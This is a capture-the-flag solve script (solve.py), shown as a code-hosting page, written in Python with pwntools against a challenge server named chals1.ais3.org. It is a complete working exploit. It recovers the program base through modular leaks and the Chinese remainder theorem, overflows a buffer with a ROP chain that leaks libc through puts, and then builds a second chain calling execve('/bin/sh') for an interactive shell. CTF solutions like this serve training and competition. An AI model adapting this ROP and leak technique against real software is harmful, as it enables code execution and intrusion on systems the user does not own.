-
Notifications
You must be signed in to change notification settings - Fork 10
/
solve.py
61 lines (47 loc) · 1.57 KB
/
solve.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
from pwn import *
from sage.all import crt
import string
context.arch = "amd64"
# context.log_level = "debug"
context.terminal = ["tmux", "splitw", "-h"]
libc = ELF("./libc.so.6")
elf = ELF("./src/chall")
# io = gdb.debug("./src/chall", "b *(main+399)\nc")
# io = process("./src/chall")
io = remote("chals1.ais3.org", 1234)
charset = string.ascii_letters
def get_rand_mod(p):
cs = charset[:p]
io.sendlineafter(b"> ", b"2")
io.sendlineafter(b"set: ", cs)
io.sendlineafter(b"password: ", b"2")
io.recvuntil(b"is: ")
pwd = io.recvlineS().strip()
return (cs.index(pwd[1]) - 2) % p
primes = [2, 3, 5, 7, 11, 13, 17, 19, 23, 29, 31, 37, 41, 43]
mods = [get_rand_mod(p) for p in primes]
print(mods)
prog_base = int(crt(mods, primes)) - elf.sym["rand_num"]
print(f"{prog_base = :#x}")
elf.address = prog_base
pop_rdi = ROP(elf).find_gadget(["pop rdi", "ret"]).address
print(hex(pop_rdi))
rop1 = flat([pop_rdi, elf.got["puts"], elf.plt["puts"], elf.sym["main"]])
assert b"\n" not in rop1 and b"\x20" not in rop1
io.sendlineafter(b"> ", b"2")
io.sendlineafter(b"set: ", b"x" * 88 + rop1)
io.sendlineafter(b"password: ", b"1")
io.sendlineafter(b"> ", b"3")
libc_addr = int.from_bytes(io.recvn(6), "little") - libc.sym["puts"]
print(f"{libc_addr = :#x}")
libc.address = libc_addr
r = ROP(libc)
r.execve(next(libc.search(b"/bin/sh\x00")), 0, 0)
rop2 = r.chain()
print(rop2)
assert b"\n" not in rop2 and b"\x20" not in rop2
io.sendlineafter(b"> ", b"2")
io.sendlineafter(b"set: ", b"x" * 88 + rop2)
io.sendlineafter(b"password: ", b"1")
io.sendlineafter(b"> ", b"3")
io.interactive()